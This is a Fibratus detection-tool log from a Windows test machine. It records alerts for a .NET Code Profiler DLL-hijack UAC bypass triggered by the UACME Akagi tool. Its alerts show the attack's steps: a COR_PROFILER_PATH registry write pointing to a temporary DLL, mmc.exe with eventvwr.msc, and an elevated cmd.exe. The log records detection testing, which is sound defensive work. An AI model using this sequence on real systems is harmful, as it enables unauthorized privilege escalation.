S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:5cfaaa32-1199-4076-81f7-de1a936a430a WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 2441904 + Pid: 19780 + Tid: 14628 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-26 15:06:18.4510609 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 476e79000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffc48c9a8f4080, name➜ cmd.exe, pid➜ 19056, ppid➜ 19780, real_ppid➜ 19780, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-26 15:06:18.4509886 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004 + + Pid: 19780 + Ppid: 15656 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-26T15:06:23+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T15:06:23+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T15:06:23+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T15:14:20+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-26T15:14:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-26T15:14:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-11-26T15:14:20+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: true + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateProcess, RegSetValue source=bootstrap/bootstrap.go:150 +time=2025-11-26T15:14:20+01:00 level=info msg=bootstrapping with pid 3236. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T15:14:20+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ use-template=>true port=>25 enabled=>false to=>[] content-type=>text/html] systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-threads=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ enable-mem=>false enable-vamap=>true enable-dns=>false enable-registry=>true enable-fileio=>true enable-net=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-thread=>true max-buffers=>36 buffer-size=>512 min-buffers=>16 flush-interval=>1s enable-threadpool=>false enable-handle=>false stack-enrichment=>true enable-audit-api=>true enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-age=>0 max-size=>100 max-backups=>15 log-stdout=>true level=>info] + output ......................... [ elasticsearch=>[ healthcheck=>true healthcheck-timeout=>5s timeout=>5s sniff=>false healthcheck-interval=>10s template-name=>fibratus trace-log=>false flush-period=>1s index-name=>fibratus bulk-workers=>1 gzip-compression=>false servers=>[http://127.0.0.1:9200] enabled=>false] amqp=>[ tls-insecure-skip-verify=>false url=>amqp://localhost:5672 vhost=>/ durable=>false exchange-type=>topic timeout=>5s routing-key=>fibratus delivery-mode=>transient passive=>false enabled=>false exchange=>fibratus] eventlog=>[ enabled=>false level=>info] http=>[ enable-gzip=>false tls-insecure-skip-verify=>false method=>POST timeout=>5s serializer=>json enabled=>false endpoints=>[]] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ fastscan=>true excluded-files=>[] skip-files=>false excluded-procs=>[] scan-timeout=>10s enabled=>false skip-registry=>false skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T15:14:20+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T15:14:24+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T15:14:32+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 2442431 + Pid: 16996 + Tid: 17192 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-11-26 15:14:30.8093751 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffa28075acd4f0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 16996 + Ppid: 7432 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:5cfaaa32-1199-4076-81f7-de1a936a430a WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 2442890 + Pid: 14568 + Tid: 17708 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-26 15:14:31.9150231 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 391664000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffc48c9399c080, name➜ cmd.exe, pid➜ 12264, ppid➜ 14568, real_ppid➜ 14568, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-26 15:14:31.9149749 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 2772249460329312528 + + Pid: 14568 + Ppid: 16996 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-26T15:14:51+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T15:14:51+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T15:14:51+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T15:15:50+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-26T15:15:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-26T15:15:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-11-26T15:15:50+01:00 